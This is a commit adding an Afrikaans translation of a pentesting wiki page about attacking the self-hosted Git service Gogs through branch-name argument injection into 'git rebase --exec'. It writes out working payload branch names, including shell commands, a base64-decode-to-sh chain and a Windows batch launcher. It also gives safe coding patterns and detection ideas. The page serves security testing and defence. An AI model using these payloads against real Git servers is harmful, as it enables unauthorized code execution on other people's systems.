Translated ['src/pentesting-ci-cd/gogs-security/README.md'] to af

This commit is contained in:
Translator
2026-06-05 13:57:27 +00:00
parent 5d780cfe4a
commit f3345a25e5
@@ -0,0 +1,103 @@
# Gogs Security
{{#include ../../banners/hacktricks-training.md}}
## Wat is Gogs
**Gogs** is n **self-hosted lightweight Git service** geskryf in Go. Vanuit n aanvaller se oogpunt, behandel dit as n **multi-tenant Git hosting platform** waar n gebruiker met lae privileges steeds branch names, pull requests, webhooks, tokens, en repository settings kan beheer.
## Git option injection through refs / branch names
As n application n aanvaller-beheerde **ref name** direk na n Git command deurgee **sonder `--` of `--end-of-options`**, kan n branch wat met `--` begin as n **Git option** geparste word in plaas van as data.
Tipiese gevaarlike patroon:
```bash
git <subcommand> <user-controlled-ref>
```
Veiliger patroon verwag in defensiewe kode:
```bash
git <subcommand> -- <user-controlled-ref>
# or
git <subcommand> --end-of-options <user-controlled-ref>
```
'n Algemene valse aanname is dat die validering van die ref met `git rev-parse --verify <ref>` genoeg is. Dit is **nie**:
- die aanvaller kan eers **n werklike branch skep** wie se naam met `--` begin
- `rev-parse --verify` kontroleer slegs dat die ref na n object oplos
- n latere onveilige Git-aanroep kan steeds dieselfde waarde as n **option** interpreteer
Dit maak enige Git-hosting feature wat gestoorde branch names hergebruik, n potensiële RCE primitive.
## Misbruik van `git rebase --exec` vir RCE
`git rebase` ondersteun `--exec=<cmd>`, wat die command deur `sh -c` laat loop nadat commits herhaal is. Daarom, as die base branch van n pull request na n aanroep soortgelyk aan:
```bash
git rebase --quiet <baseBranch> <headBranch>
```
en `<baseBranch>` is aanvaller-beheerd, n tak soos:
```bash
--exec=touch${IFS}/tmp/rce_proof
```
kan geïnterpreteer word as 'n **Git vlag** in plaas van 'n taknaam.
### Hoekom `${IFS}` saak maak
Git refs kan nie letterlike spasies bevat nie, maar shell-uitbreiding gebeur steeds wanneer Git `--exec` via `sh -c` uitvoer. `${IFS}` brei uit na witspasie by runtime, wat payloads soos die volgende moontlik maak:
```bash
--exec=touch${IFS}/tmp/rce_proof
--exec=id${IFS}>/tmp/out
```
Vir payloads wat Git-verbode karakters vereis (`:`, `~`, `^`, `?`, `*`, `[`, `\\`, `//`), enkodeer die werklike command en dekodeer dit by uitvoeringstyd:
```bash
--exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh
```
## Windows-spesifieke payload delivery
Op Windows is inline payloads meer beperk omdat Git branch refs as files stoor en NTFS karakters soos `|` in lêername verbied. n Praktiese alternatief is:
1. Commit n payload script in die repository in (byvoorbeeld `.abcdef`)
2. Skep n branch soos:
```bash
--exec=sh${IFS}.abcdef
```
As Git for Windows die payload deur **MSYS2 `sh`** laat begin, kan PowerShell-metakarakters vermink word. n Praktiese workaround is om die committed script te laat oproep:
```bash
cmd.exe //c .abcdef.bat
```
waar `//c` die MSYS2-veilige vorm van Windows `/c` is.
## Merge / PR state-machine abuse
Wanneer jy Git-hosting platforms toets, hersien nie net die finale gevaarlike command nie. Hersien ook **vroeëre validasie-paaie** en **agtergrond-herkontroles**.
n Nuttige exploitation-patroon is:
1. Aanvanklike validasie-pad gebruik n **veilige** clone/fetch flow met `--end-of-options`, so die kwaadwillige branch word as data aanvaar
2. Die pull request word **mergeable**
3. n Latere merge- of checkout-pad hergebruik die gestoorde branch name in n **onveilige** Git call
4. Code execution gebeur selfs as n latere stap faal en die UI **HTTP 500** terugstuur
Dit beteken n feature kan exploitable wees selfs wanneer die finale merge in n error eindig, en die target repository kan in n **corrupted partial rebase state** gelaat word nadat die payload reeds geloop het.
## Praktiese hunting-idees
Wanneer jy n Gogs instance of soortgelyke Git service hersien, kyk vir:
- Branch names wat met `--` begin
- Merge failures wat `git checkout '--exec=...'` behels
- Pull requests wat vas sit as mergeable al faal latere branch validation
- Repositories wat in partial rebase / broken Git state agtergelaat is ná mislukte merges
- Onverwagte committed helper files op Windows payload paths (byvoorbeeld dotfiles plus `.bat` launchers)
- Verdagte API tokens wat kort voor mislukte PR merges geskep is
Voorbeeld log artifact:
```text
merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'
```
## Verwysings
- [Rapid7 - Authenticated RCE via Argument Injection in Gogs (NOT FIXED)](https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed)
- [Metasploit module PR for Gogs rebase argument injection](https://github.com/rapid7/metasploit-framework/pull/21515)
- [Git rebase documentation (`--exec`)](https://git-scm.com/docs/git-rebase)
{{#include ../../banners/hacktricks-training.md}}